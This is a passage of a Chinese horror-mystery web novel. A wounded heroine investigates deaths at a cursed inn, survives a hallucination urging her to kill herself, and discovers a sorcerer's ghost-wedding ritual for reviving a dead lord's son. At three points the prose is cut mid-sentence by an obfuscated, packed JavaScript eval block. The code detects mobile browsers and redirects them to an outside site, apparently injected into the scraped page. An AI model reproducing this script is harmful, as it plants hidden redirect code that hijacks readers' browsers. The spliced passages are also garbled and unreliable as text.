苏却再醒来时，外面的天光已大亮。 她坐起身，左肩的伤口依旧痛得沉闷，但尚在可忍耐的范围内。 客栈里静得出奇，推门而出，廊上亦是空无一人。 看来大家都有事情要做，早早都出门了。 眼下众人，已是几乎身陷死局。 每一步都像是被无形之手推着走，不说避开丧命，连延缓死亡，也做不到。 一天一个，甚至两个。 束手无策。 只有苏却，暂时掌握着唯一和真新娘有关，不知真假的线索。 新娘那看似指引，实则让她以身犯险的请求，更像是一场用性命做注的豪赌。 赌赢了，或有一线生机；赌输了，便是万劫不复。 退缩吗？ 不。 无论如何，她都要赢。 她还不到死的时候。 她不能死在这里。 坐以待毙，不若迎险而上。 或能于死局中挣出一线生机。 找到吕初郎殒命之由，便是揭开这客栈重重迷雾之始。 一楼大堂一览无余，她决定先细查诸人房内。 客栈的房间都一样陈设简陋，无非床榻、桌柜而已。 苏却先去了对面赵文安的房间。 屋内显得有些杂乱，换下的衣物随意搭在椅背和床头，粗略翻看后未见异常。 隔壁是金玉明的房间。 比起赵文安，这里稍显规整，被子甚至被简单叠过。 同样，桌面、地面，未见值得留意之物。 金玉明对面，也就是她的房间隔壁，是彭绍方的房间。 她推门进入时，目光第一时间就被床榻上整齐的被褥吸引，但原本应该放置枕头的地方，此刻却是空的。 苏却眸光一凝。 彭绍方也知道这枕头有问题？ 他拿走了枕头，是意识到了危险自行防范，还是另有想法？ 她迅速查看了柜子和床底，均未发现枕头的踪影。 紧接着，她来到了金玉明隔壁，周远至的房间。 屋内，那个从宋停处偷来的木盒大敞着放在桌上，里面空空如也。 旁边放着客栈提供的笔墨。 之前，周远至就有在纸上分析的习惯。 苏却走到桌边，拿起那叠纸。 最上面一张，洇着几小团突兀的墨迹，但看不出曾经写过什么字。 她的目光扫过床铺，床榻上被褥凌乱。 枕头，当然也不在。 接下来是卫成风的房间。 房间里的桌子上摆着一面样式古旧的铜镜。 苏却拿起铜镜，入手冰凉沉重。 她将其正反仔细查看，镜面模糊，映出的人影有些扭曲，但与寻常铜镜并无区别。 这应该就是窥命镜。 或许认主，其他人并无法看见镜中显示关于命序的内容。 她看着镜中自己模糊而冷峻的眉眼，有一瞬间的恍惚，但随即压下心绪，将镜子放回原处。 再就是袁慈邈和同一侧靠近楼梯口的吴少凌。 他俩屋内收拾得井井有条，床铺平整，枕头也好好摆放在原位。 而醉酒人的房间只住过一个晚上，出事后也再没有人进来过，所以桌上甚至都没有蜡烛，也没有放着更换的衣服。 被子只有轻微的褶皱，床头边倒着两个酒坛。 苏却把吕初郎房间的剩到了最后。 刚推开门，一股难以言喻的气味扑面而来。 是一股，淡淡的，尿味。 混合着药味，萦绕在这间门窗封闭的屋子里。 她的视线落在那张床榻上。 被褥显得有些凌乱，皱褶间似乎还残留着翻身挣扎的痕迹。 她走近，捏住被角，缓缓掀开。 气味骤然浓烈起来。 源头的确在此。 他，失禁了？昏睡时还是醒后？究竟发生了什么？ 周远至说他死在地上，那是被人拖下来还是自己摔下来？ 苏却面无表情地放下被子。 吕初郎绝非简单死于伤势过重。 但是她无论怎么想，当时有可能动手的周远至和卫成风，都没有杀害吕初郎的必要。 吕初郎重伤休养，已无能力再像他们一样外出探查，命序垫底已是板上钉钉，几乎已经等同死亡。 杀他，于他们有何益处？ 徒增风险，毫无回报。 除非…… 一个念头倏地窜入脑海：不是人祸，而是此地本身之“规则”。 这客栈处处透着邪性。 强制入睡的枕头，掌柜讳莫如深的提醒，还有拼凑不完整的零散线索…… 吕初郎重伤之下，心神必然脆弱，是否正是在休息之时，遇到了客栈中的什么？ 若客栈本身还暗藏了某条死亡的规则，能杀人于无形，那他们这些困于此地之人，岂非日夜皆在刀尖行走？ 一楼二楼已粗略查过，并无更多发现。 那么，唯一未曾细探，宋停嘴里“久无人居、满是灰尘”的三楼，便成了最后，也可能是最危险的一处所在。 宋停所言是真是假？ 无论如何，必须一探。 通往三楼的楼梯口的灰尘比较厚，只有深深浅浅的几个脚印。 她敛息宁神，拾级而上。 脚步踩在木阶上，发出轻微的回响，在寂静的客栈里，显得格外清晰。 越往上，光线愈发晦暗，空气也愈发滞重，带着一股陈腐的气息。 她随手推开第一间房的房门。 “吱呀——” 门轴发出干涩的摩擦。 正如所言，屋内空空荡荡，一眼便可望尽，只有积尘与蛛网。 她迈步进去，靴底碾过厚厚的灰尘，发出一种沉闷厚重的声响。 正对房门是一扇紧闭的窗。 她走到窗边，费力地推开。 “嘎——” 窗外，正是那条客栈门口横贯小城的河流。 还是河边扔石头的几个孩童，洗衣服的几位妇人。 路上走着的，也还是同样行色匆匆的过客，挑担吆喝的商贩，窃窃私语的行人。 她未关窗，转身欲走。 就在她一只脚刚刚迈出房门门槛的刹那—— “嘭！” 身后那扇刚刚推开的窗户，竟如有人操控一般重重地关阖。 巨响在空寂的房间里回荡。 紧接着，毫无征兆地，视野的边缘突然蹿起一簇簇火舌。 瞬息之间，火焰疯狂滋长，沿着墙壁、梁柱、地板急速蔓延，眨眼便吞噬了整个房间，将她困在一片熊熊火海之中。 灼热的气浪扑面而来，浓烟滚滚。 苏却猛地咳嗽起来，抬臂用袖口遮挡扑面的热浪，可烟尘呛得呼吸困难，收效甚微。 木质房屋在烈焰中发出不堪重负的燃烧和爆裂声。 “呜……呜呜……” 在这片火光中，竟夹杂着一阵细微而绝望的哭泣声。 苏却瞳孔骤缩，这哭声……。 她转头，循声望去。 层层叠叠的火焰，仿佛在她眼前让开了一条扭曲的路径。 路径的尽头，火场中央，站着一个身影。 那是一个衣衫褴褛、瘦小无助的孩子，正被冲天火光和浓烟包围，低声啜泣，浑身发抖。 她的心好像突然就被千万根冰刺扎穿，一种无法言说的情绪压倒了所有震惊与疑惑。 “不准哭。” 她听到自己的声音响起，坚决、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279583|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷漠，穿透烈火。 这孩子，是十年前的她。 这场火，是焚尽了她过往一切，让她从此不再是父母的掌上明珠，而是作为“苏却”活下去的大火。 本意是为了彻底死去，而亲手点燃的大火。 一股远远超过身躯被灼烧的剧烈疼痛骤然袭来，瞬间淹没了她的所有感官与神智。 眼前的景象不再是客栈三楼，而是那个烙印在灵魂深处的噩梦现场。 她看着那个弱小、哭泣、等待着被焚尽抑或获救的自己。 “哭有何用？” 她一步步走向火海中心的女孩，炽热的火焰舔舐着她的衣角，她却浑然不觉。 “谁让你哭，”她的声音低了下去，却带着恨意与决绝，“就拿刀，” 她仿佛看到了那些模糊的、带来无尽痛苦与屈辱的面孔，那些将她逼至绝境的缘由。 “杀了他。” 话音落下的瞬间，极致的愤恨与毁灭的冲动如同火山喷发，淹没了她所有理智。 就在这时，一阵极轻极淡的笑声，仿佛贴着她的耳廓响起。 “哦？你要杀人？……可刀在哪里呢？” “刀……”她下意识地喃喃，右手竟真的依循着那声音的指引和多年的本能，向腰间探去。 仿佛那里真佩着她常用的刀。 就在她手指触及虚空的刹那，一柄沉重、锋利的匕首，兀地出现在她手中。 “对，就是这样……”那耳语般的声音带着满意的轻叹，幽幽催促，“只要你死了，就再也不会有人怪你。你，不该活着，才能赎罪……” “不该……活着……不该……活着……不该……活着……”苏却一遍又一遍地重复。 ……不对！ 这念头如闪电般劈开混沌的意识。 周遭的火海、哭泣的女孩瞬间消失。 她仍站在三楼那间空屋的门口，一只脚在内，一只脚在外。 但她的右手，却不知何时已紧握着一柄不知哪来的锋利匕首。 冰凉的刃尖，正死死抵在她自己颈侧的脉搏之上。 只要再进一分力，便可血溅当场。 她蓦地惊醒，冷汗瞬间袭上脊背，左肩的伤口因方才紧绷的姿势而剧痛起来。 她看着自己持刃的手，指节因用力而泛白。 缓缓地，她将匕首从颈边移开。 心脏在胸腔里疯狂地跳动，几乎要撞碎肋骨。 她明白了。 卫成风为什么一开始就对众人毫无信任充满戒备，甚至宁可孤注一掷去讨好对立面的城主，也不愿与任何人合作。 她明白了。 吕初郎为何会死。 他虽双眼不能视物，可他的心不瞎。 在那无法醒来的幻境中，他无力挣扎，只能承受着痛苦的惊骇，以致失禁，最终在绝望中殒命于此。 她也明白了，周远至为何言不尽实。 或许他一开始本就是别有用心，以伪善接近众人换取有利于他的相关情报，被识破后便翻了脸，实在正常。 可留在客栈地那一天里，他经历了直击他魂魄最痛处的幻境后，切实地感受到了此地对他生命的威胁。 这份源于灵魂的战栗，或许是驱使他之后更加不择手段，急于寻找任何保命依仗的根源。 这客栈，看似是他们落于此地的首个栖身之所，是每日必须返回休整的据点。 可实质上，这里绝非安稳度日之地。 自踏入此处起，他们所有人就被迫卷入这场以命为注的诡局，必须依照某种隐匿的规则，搜寻线索，勘破谜题，方能搏得一线生机。 不管在客栈的哪里。 只要停滞不前，消极回避，便会被迫审视自己最不堪回首的噩梦。 而她的噩梦，刚刚，差点让她亲手了结自己。 12. 阴亲（十二） 阴亲（十二） 不知何时，已经夜幕降临。 客栈里依旧空荡寂静，外面亦不闻街市人声。 只剩死寂，漆黑一片。 然而幻象已退，惊魂未定。 苏却的指尖仍在难以自制地轻颤。 她有一瞬的恍惚，几乎分不清哪一边才是真实。 闭上眼，再睁开。 她试图将眼前的黑暗与脑中残留的滔天烈焰彻底割裂。 一种刺骨的后怕缓慢地渗透到四肢，却并不是对死亡的恐惧。 而是自己，竟如此轻易地被操控，理智也如此不堪一击。 她站在原地，一动不动，用了整整三次深长的呼吸，才整理好自己的心情，摸索着，一步一步向楼下走去。 不知道现在是什么时辰，也不知道城主府那边情况如何。 并没有听见更夫报时，唯有她自己的脚步声。 好像只剩了她一个活人。 回到房中，桌上只有一些粗粮糕点，甜腻干硬。 她毫无胃口，只就了水，机械地嚼了一两块，吞咽了几口，便解开染血的布条，为肩头换药。 伤口的皮肉周围红肿未消，好在未有脓化迹象。 她熟练地清洗、上药、重新捆扎，每一个动作都因牵拉伤处而带来细密的刺痛，额角渗出薄汗，她却连眉峰都未曾动一下。 刚收拾停当，楼下便传来了动静。 人声嘈杂，脚步纷沓。 喜宴竟已经结束了吗？ 她在幻境中究竟过了多久？ 她推开房门，立于阶梯道口向下望去。 只见彭绍方、袁慈邈、吴少凌等人皆已归来，面上带着难以掩饰的疲惫与惊魂未定。 周远至亦在其中。 他步履略显虚浮，脸色极差，进门时甚至被门槛轻微绊了一下，全靠及时扶住门框才稳住身形。 却并无遭受过折磨的迹象。 竟所有人都完完整整地回来了？ 苏却心中疑窦顿生。 周远至是前一天的末位，按例今日该是他去城主府充当那傀儡新郎，凶多吉少。 他们竟能毫发无伤、全身而退？ 宋停手提灯笼走在最后。 刚一进门，灯笼里的烛火就熄灭了。 掌柜那的身影又如鬼魅般无声无息地出现在柜台后，手中拿着一沓熟悉的白色纸条。 “诸位辛苦，请领取今日命筹。” 众人沉默上前，依次领取。 苏却展开，纸条上果然一个“零”字，刺目无比。 “实在可惜，今日婚宴错过了吉时，城主已决定明日再办婚宴。故要劳烦苏却，”掌柜开口，看向苏却，“便是这一位，于明日巳时初刻，至府中襄理婚仪诸事，其余诸位只要于吉时前，至城主府观礼即可。 明日，轮到她了。 她面无表情地看着字条化作蓝色火焰消失。 可众人竟在用一种很奇怪的眼神打量着她。 苏却目光扫过周远至、赵文安、金玉明三人，只见他们之间交换了一个隐晦的眼神，也没多说什么，竟不等掌柜离开，便率先快步上楼，径直回了房间，关门落闩，似有要事相商。 没过多久，掌柜嘴角带了一丝笑容，微微笑着宣布：“字条之示，合共其二，皆已兑取。” 吴少凌闻言思忖一番，叫住了掌柜：“那我也换一个护命符，先备着，以防不时之需吧。” 掌柜置若罔闻，笑了几声，声音回荡在客栈大堂。 “这是……？”吴少凌一脸疑惑，与袁慈邈面面相觑。 看来有一张字条，已经有人，悄悄地换走了。 首夜，宋停以十年阳寿为代价，换得那独一无二的线索木盒。 此举似一把钥匙，悄然开启了众人对这诡异交易的寄托与贪婪。 翌日，末位的卫成风以一年寿命换得窥命镜，获得额外命筹与吴少凌互换。 然而其后，他于濒死之际欲再换护命符，却无人回应，交易失败。 此中缘由，苏却推测有二： 其一，当日每人只可交易一次，他既已兑得窥命镜，便再无资格于当日再求他物； 其二，每日有限定次数的交易机会，次数耗尽，纵使他喊破喉咙，亦是无用。 而至今日，掌柜明确宣告，以五年寿命兑换的字条有两张，且皆以兑取。 吴少凌欲换而不得，其因由更为明了。 即为今日交易之数已满，再无份额。 再将目光转回眼下：周远至身为末位，本凶多吉少，却竟能全身而退，此间必有蹊跷。 苏却几乎可以肯定，今日无伤，定然是某样道具发挥了作用。 或是那第一张字条揭示了一条生路，或是护命符抵去了一次死劫。 并且，刚刚交易的第二张字条，肯定也在他们手里。 宋停笑着挤了下苏却的右肩，问道：“好奇吗？纸上写的东西。加上我写的，他们有三张。” 苏却侧头看了宋停一眼，未言。 彭绍方此时却上前一步，拦住了苏却上楼的脚步。 “苏捕头留步。” 苏却停下，转身看他。这是彭绍方第一次如此正式地称呼她。 “今日我们从城主府出来后，宋兄带我们去了新娘家，见到了真正的新娘。”彭绍方开门见山，目光坦诚，“她亲口所言，只要你成为末位前去接亲，她必定跟随。” 他顿了顿，继续道：“从来这的第一晚，我就知道苏捕头你虽少言语却观察入微。不瞒你说，初始时我也暗自防备过你，毕竟此地人心难测。但这些时日下来，见你遇事谨慎冷静，临危不乱，有胆识更有魄力……说真的，彭某实在佩服。” 紧接着他话锋一转，语气变得沉重起来：“只是，彭某此刻，有一个不情之请。” 他拱手，竟对着苏却深深行了一礼。 “那个新娘的话，或许是我们众人唯一的生路。我并非是为所有人求情，只是……只是希望若真到了那一刻，苏捕头在能力所及之处，能给心中无恶意之人，一个能活下去的机会。” 他的声音里带着恳求，目光灼灼地看着苏却。 一旁的袁慈邈见状，连忙伸手去扶他：“事态未知，你这般求苏兄，万一并不如我们推断的那样顺利，苏兄岂不是身陷险境？” 吴少凌后怕道：“是啊，此地行事条框甚多，一步行差踏错便凶多吉少。苏兄明日一早便要离开，而城主府内之事实在诡异，我只记得那术士念了什么，再回过神来，已经差点被掐死了。他如何能有定然的把握安然无恙呢？” 他的眼周，尽是细细密密的紫色血点，脖颈上的掐痕丝毫未淡。 “那个口口声声要与大家同心协力的人，对今日之事倒是绝口不提。我看，他们才是别有用心。”袁慈邈瞥了一眼二楼，愤愤道。 彭绍方脸上掠过一丝挣扎与惭愧。 他方才只虑及心中所请，却未曾深思此请背后的重担与风险，全然压在了苏却一人肩上。 他紧握的拳头缓缓松开，长叹一声：“诸位说得是……是彭某思虑不周，强人所难了。” 他再次向苏却郑重地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279584|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞠了一躬：“对不住，苏兄，是彭某太过自私急切，失礼了。” 说完，他不再多言，转身回了自己的房间。 是夜，苏却主动睡在了床榻外侧。 宋停好像在黑夜中看了她一眼，却未发一言，只是沉默地躺向里侧。 翌日清晨，天光未大明，她便悄然起身。 宋停似乎仍在沉睡。 她贴身穿了一套便于行动的劲装，又在外面罩了送来的华服，未惊动任何人，独自离开了客栈。 清晨的街道薄雾弥漫，行人三三两两。 她一路行至城主府邸，那朱漆大门竟已洞开。 那名术士早已在门前布置，见苏却提早到来，也并未多言，只是抬手，开始缓缓摇动手中那只硕大沉重的铜铃。 “叮——嗡——叮——嗡——” 铃声沉闷，带着一种穿透力极强的震颤。 他一边摇，一边嘴里念念有词。 苏却因昨天听得吴少凌说了一嘴，便准备了塞耳之物。 她什么都没听清，只感到一阵轻微的头晕目眩。 想来这应该是什么控制，能控制心神，成为傀儡。 她立刻垂下眼眸，模仿着之前吴少凌中邪般的麻木神态，肢体僵硬，目光空洞，仿佛已被完全操控。 术士见状，似是满意，引着她步入府中。 穿过庭院，她被带至喜堂旁的一间侧厢。 屋内光线晦暗，唯有一张木桌，桌上端放着一顶新郎头冠。 头冠之下，压着一套叠得整整齐齐、颜色却刺目无比的大红喜服。 换装毕，她被引至喜堂。 那口黑漆棺木依旧赫然停放在中央，棺盖斜倚，那死气沉沉的少城主依旧躺在里面。 “跪，叩首。”术士的声音透过面具传来，空洞而威严。 苏却依言缓缓屈膝，对着那口盛放着冰冷尸身的棺椁，规规矩矩地俯身，磕下第一个头。 额触及地，左肩袭来撕裂般的剧痛。 接着是第二个，第三个。 每一次俯身和抬起，都牵扯着伤处，带来一阵阵令人眩晕的痛楚。 三拜既毕，术士并未让她起身，而是自行盘腿坐于一旁的蒲团之上，口中吟诵起冗长而晦涩的咒文。 苏却便一直维持着跪姿。 不知过了多久，吟诵声止。 术士起身，将三炷燃着青烟袅袅的线香递至她面前。 她需举着那三炷香，直至其完全燃尽。 时间在寂静与疼痛中被无限放慢，拉长。 香体一点点被火吞噬着，蜷缩，弯折，变为灰烬簌簌落下。 苏却左肩的疼痛愈发剧烈，几乎难以支撑，手臂控制不住地微微颤抖了一下。 就是这一下轻微的颤抖。 其中一炷香，从中断裂，燃着的香头掉落在地，溅起几点火星。 术士冰冷的目光立刻扫了过来。 一旁侍立的仆从默默上前，迅速拾走断香，重新点燃三炷新的递给她。 又不知过了多久，三炷香彻底燃尽。 “迎亲。”术士吐出两个字。 苏却放下手，麻木地转身，在一名仆从的引领下，走出城主府大门。 府门外，那支诡异的迎亲队伍早已静候多时。 白色的轿子，沉默低头的扛轿人与仆从，与那日一般无二。 只是很奇怪。 那天卫成风带着迎亲队伍回来没多久，便是拜堂的三更天。 而现在，像是正午。 正午迎阴亲，闻所未闻。 13. 阴亲（十三） 阴亲（十三） 她方才跟定那手提红白双色灯笼的引路仆从，队伍便开始缓缓启动。 苏却心里有点没底。 那新娘只让她来接，却并未告知她具体所在。 她该如何从十家一模一样的房子里准确找出她？ 可很快她就发现，队伍根本没按那条直道走，反而七拐八弯，好像要把整座城都绕过来。 正常的迎亲，自是锣鼓喧天，热闹非凡，新郎官高头大马，春风得意。 可他们这一行，沉默地穿过街口。 那些路人仿佛早已司空见惯，又或是根本视而不见。 无一侧目，无一驻足，无一交谈。 只是漠然地，与他们错身而过。 绕了很久，周遭总算熟悉了起来，他们终于来到了新娘家所在的巷子里。 然而眼前的景象，却让苏却心头一沉。 巷中，所有住户的门扉，全都敞开着。 即便之前卫成风接走一个纸人新娘，后在棺中爆裂损毁，但此刻望去，房子和新娘，是一个也没少。 而且每一户的门前，都站着一对哀痛的父母，搀扶着一位身着大红嫁衣、头顶红盖头的新娘。 整整十对父母，十个新娘。 与苏却一样，如同傀儡，静立在门口，等待着被挑选。 苏却的目光急速扫过，试图辨认出那晚第九扇门后的身影。 可所有新娘皆是一样的装扮，一样的姿态，根本无法区分。 就在她心念急转，思索对策之际，离他们最近第一户人家门前的那位新娘，突然动了。 她努力地挣脱了左右父母的搀扶，奋不顾身地朝着迎亲队伍冲来。 那对父母试图阻拦，却被城主府的仆从面无表情地挡下，拖回了门口。 新娘径直跑到白色的轿子前，毫不犹豫地一低头，钻了进去。 轿帘垂下，隔绝了内外。 会是真新娘吗？ 她竟以这种方式主动出现？ 迎亲队伍无声地转向，抬起白轿，开始返回。 就这么简单？ 苏却的疑虑大于松懈。 这一切，明明换谁来做都行，为什么非要指名道姓要她苏却来接？ 这一切太过顺利，仿佛是按本子上演的一幕戏。 那新娘看似反抗父母自愿牺牲，却透着一股僵硬。 她真的是自己选择站出来的吗？ 这究竟是解脱，还是另一个更深的陷阱？ 行至途中，道旁忽地闪出三个人影，拦住了迎亲队伍的去路。 是周远至、赵文安与金玉明。 赵文安脸上带着得意，上前一步斜眼看着苏却：“哟，这不是苏捕头嘛，好威风啊！怎么，今天做新郎啊！” 周远至站在赵文安身侧稍后的位置，面色平静，看不出喜怒。 金玉明则略显紧张，眼神不时瞟向那顶轿子。 赵文安见苏却目光空洞，毫无反应，只道她已被控制，气焰更盛，言语愈发刻薄。 “怎么？往日里不是横得很吗？嘲讽我？威胁我？如今像个木头桩子一般任人摆布的又是谁？你不过是我家门下的走狗，也配在我面前拿乔？” “你俩还等什么？赶紧验验这新娘是真是假。” 他转向周远至和金玉明：“若是真的，便请咱们的苏大捕头，把这身新郎官的皮扒下来，换我穿上。这最后一程的功劳，合该由我来享。” 金玉明闻言，立刻从怀中取出一个水囊，拔开塞子，将里面装着的水泼向轿中的新娘。 新娘的红嫁衣瞬间被淋湿大片。 周远至随即掏出火折子，吹燃后，竟直接燎向新娘的嫁衣裙摆。 火焰炙烤着裙摆，一角被迅速点燃，焦黑，散发出布料燃烧的气味。 新娘受惊般向后缩了一下。 “是真的！快灭火！”赵文安见状，眼中贪婪再难掩饰。 金玉明也非常兴奋：“少爷，他推测的果然不错，字条上那一句，果然就是这个意思。” 赵文安手忙脚乱地拍打了几下，将火苗摁灭。 又与周远至与金玉明一起，连拽带拖，将苏却拉扯到迎亲队伍以外，并毫不客气地剥下苏却身上那件大红色的新郎喜服。 苏却假意浑身无力，任由他们摆布。 全程，所有迎亲的仆从并没有阻拦，默认着抢亲的进行。 赵文安穿上喜服，得意地整了整衣冠，不屑地看了一眼有些狼狈的苏却，冷笑几声。 “哼，你算什么东西？” 说完，他对呆立一旁的仆从喝道：“走！” 竟真带着迎亲队伍，心满意足地朝着城主府方向行去。 苏却站在原地，看着那顶白轿和那群人簇拥着赵文安远去的背影。 她缓缓抬手，取下了塞在耳中的软布。 世界的声音重新涌入耳中。 她身上看似单薄，再脱一件便是早上换上的劲装。 她本来是打算伺机而动，想着能不能找到机会溜出去再探城主府。 现在倒是不用操心了。 …… 她到城主府时，天都还没黑。 迎亲队伍也没回来，不知道绕到哪里去了。 不过，她的目标明确，翻墙后直奔少城主的书房。 再次来到那间弥漫积灰气息的房间，她径直走向那个暗锁着的矮柜。 “咔哒”一声轻响，柜门打开。 映入眼帘的并非金银财宝，最上面是一本兵书，封面赫然写着《百战奇略》四个大字。 书页泛黄，边角磨损，显然曾被频繁翻看。 其下，则是沉甸甸一大串材质、形状、大小各异的钥匙，竟有数十把之多。 就在她拿起那串钥匙，欲仔细查看之际，身后再一次传来声响。 她有些不耐烦，手已按上腰间藏匿的匕首。 回头。 只见来人并非城主，而是宋停。 他此刻正懒洋洋地倚在门框上，嘴角挂着一丝让人捉摸不透的笑意。 “巧啊，苏公子。”他语气轻松，仿佛只是偶遇。 苏却眸光冷冽，并不搭话，心中戒备更甚。 这人，看似与她亲近，又把她推向风口浪尖，是何居心实在难猜。 宋停似是看出她的排斥，轻笑一声，从怀中掏出一物。 是他曾说的，木盒里的那把铜钥匙。 “别急着赶人嘛，你那串钥匙虽多，我这把，说不定才是最关键的那一把。”他晃了晃手中的钥匙，“合作一次，如何？” 苏却不言，默认。 两人不再多言，凭借上次模糊的记忆，快速寻往后院那处密道入口。 在一处假山背阴的荒僻角落，苏却重新找到了那晚她发现的墙壁暗门。 而这次开门后，一股令人作呕的血腥气混合着腐朽的气息，从门内汹涌而出。 沿着暗道前行，推开头顶的木门后，光线泄下。 苏却眯起眼，待适应了这突如其来的光明，眼前的景象让她呼吸一窒。 上次来是夜里，太暗，且好像有人故意损毁，苏却未曾看清。 只见地面中央，绘制着一个暗红褐色巨大而繁复的邪异阵法，阵纹扭曲。 阵眼处，竟直立着一名身着戎装的男子。 正是那已死的少城主。 他面色青白，双目紧闭，周身被无数血色符文缠绕。 最骇人的是阵法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279585|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四周。 数十具人形纸偶整齐肃立。 它们身体以竹为骨，糊着纸张，画着甲胄。 每一张脸上都描画着一模一样的眉目与口鼻，唯独眼眶处是一片空白。 两名身着灰袍、难辨生死的人影，正用长刷蘸取桶中浓稠暗红的血液，依次点向纸偶空洞的眼窝。 笔尖落下的刹那，那纸偶竟猛地一颤。 僵硬的四肢开始复苏，仿佛随时都能伸展行动。 空白的眼眶处，慢慢化出两颗蠕动的眼珠。 不过转瞬，这群死物便似被注入了生魂，一个个自僵立中苏醒过来。 立于阵法边，垂首俯耳，静候敕令。 术士并不在此地。 苏却与宋停藏身阴影之中，将这一切尽收眼底。 纸人是谁扎的？血是谁的血？穿甲胄的纸人用来做什么？阵眼中心有个少城主，那棺材里躺着的，是什么？…… 她心里有太多疑问。 那边的宋停却已用他那把铜钥匙，接连试了旁边几间屋门的锁孔。 未成功。 又未成功。 苏却跟在他后面试。 也不知道是不是运气比较好。 第一扇，便打开了。 推门进去，才发现门后窗边都用黑布挂起挡着。 此间陈设，像是术士起居之处。 四壁并非普通砖石，而是贴满了朱砂绘制的黄色符纸，密密麻麻，层层叠叠。 墙角散乱堆积着许多法器。 铜钱剑，几面图案血腥诡异的黝黑令旗，散落的蓍草、龟甲，以及一些形状古怪铜器木器。 宽大的方案上狼藉一片。 研钵内残留着未捣碎的草木根茎，几只瓷碗碗底沉淀着不同颜色的干涸药渍。 还有摊开的书册，上面绘着复杂的人体经络图，标注着行气法门。 几只陶罐密封着，罐身贴有符咒封条。 案角随意地压着几页宣纸，墨迹却是新的。 她小心抽出。 细细一读，才知道这并非寻常记录。 竟是那术士炼化少城主的笔记。 宋停从床上枕下也拿出一叠类似纸张，笔迹旧一些，写满了字。 纸上记录着先以至亲悲怨为引，再取特定八字之处子血，融合活魂收集煞气。 最终集此之力，将亡者魂魄强行拘出炼化，便可制成宛若生人的鬼人。 另有小字在侧注明。 欲炼鬼人，必锢其魂，不令往生。需制一假偶置于明处，受香火跪拜，暗渡陈仓。真魂必滋养于血阵阵眼，直至唤回方可功成。 所以。 这场阴亲，并非真的要安抚少城主的亡魂，给他找个伴完成一场冥婚。 是术士要将少城主制成鬼人。 让他“复活”。 少城主因战而亡，城主夫妇悲痛不能自持，便寻一术士，欲活其子。 术士遍翻典籍，终选中鬼人之术，遂拘其魂，以娶妻为诱，以其生前最爱兵法战略为诱，均未成。 这些纸人，都出自新娘父母之手，只需用活人鲜血点睛，便可如同真人。 被剥皮的醉酒人，被扔进沸锅的卫成风，吓死的吕初郎，应该都被用了什么诡秘邪恶之术，为他们所用。 因为他们十个，本就是城主找来为他儿子提供活魂，提供鲜血的祭品。 真假新娘，只不过是分散他们的注意力，让他们疲于分辨，忙着自保与彼此猜忌，顾不上调查真相。 这也就意味着。 即便他们找到了真的新娘，他们依然逃不开成为祭品的命运。 原来，从踏入客栈的那一刻起，他们的命，就已经开始不属于自己。 14. 阴亲（十四） 阴亲（十四） “你想怎么做，苏却？” 宋停问她。 能怎么做？ 城主早已认同了这些事情的进行，他根本不计后果，只想要自己的儿子。 否则城主府何以会有这么大的秘院。 她拿着钥匙继续开门。 打开，掀帘，一屋子纸兵。 再打开，再掀帘，再一屋子纸兵。 …… 天色很快越来越暗，没多久，院墙角的炬台被点燃了。 原先院子里待画眼点睛的纸兵都不见了，阵法也毁去了。 就像苏却和宋停第一次发现这里一样。 苏却握着钥匙的手紧了紧。 这场炼化，究竟是从什么时候开始的？ 又到底持续了多久，才能做出几屋子如此多的纸兵，却依然没唤醒这位英勇善战的少城主？ 他们十个人之前，是不是也有人来过？ 假如他们得以顺利离开，以后是否还会有人再来？ 转头看宋停，他手里的那把钥匙，也已经打开了一个屋子。 那屋子里什么也没有，只有被蒙眼堵嘴绑着的两个人。 新娘的父母。 准确来说，是真的，是活人的新娘父母。 刚拿掉他们嘴里的布条，他们就开始不停磕头求饶，请求放过他们的女儿。 发现来人并不是术士或城主之后，他们才算浅浅松了口气，试探问道：“你们不会是，来我们城里的客人吧？” “怎么，你们歧视外乡人，来了就要死吗？”宋停直接席地而坐，笑着抬头。 苏却本想提醒一声，但是一推敲，他这么说好像也没错。 可这对父母像是听到了什么很不得了的消息一般，选择闭口不言，偶尔还偷偷打量他们俩。 沉默了很久，还是新娘父亲先没忍住。 “你们……一共来了多少人？只剩你们两个了吗？” “你们被关在这多久？那些屋子里的纸人都是你们扎的吗？”苏却没回答，反而问回去。 “……新娘你们见过吗？她好吗？……” 新娘父亲开始掩面痛哭，新娘母亲也转身啜泣。 苏却没再理会，只抱胸靠在墙边，静静看着他们哭泣。 宋停依旧坐在地上，闭着眼小憩，看起来快睡着了。 “呜呜呜……呜呜呜……” 任凭父母声泪俱下，两人丝毫不为所动。 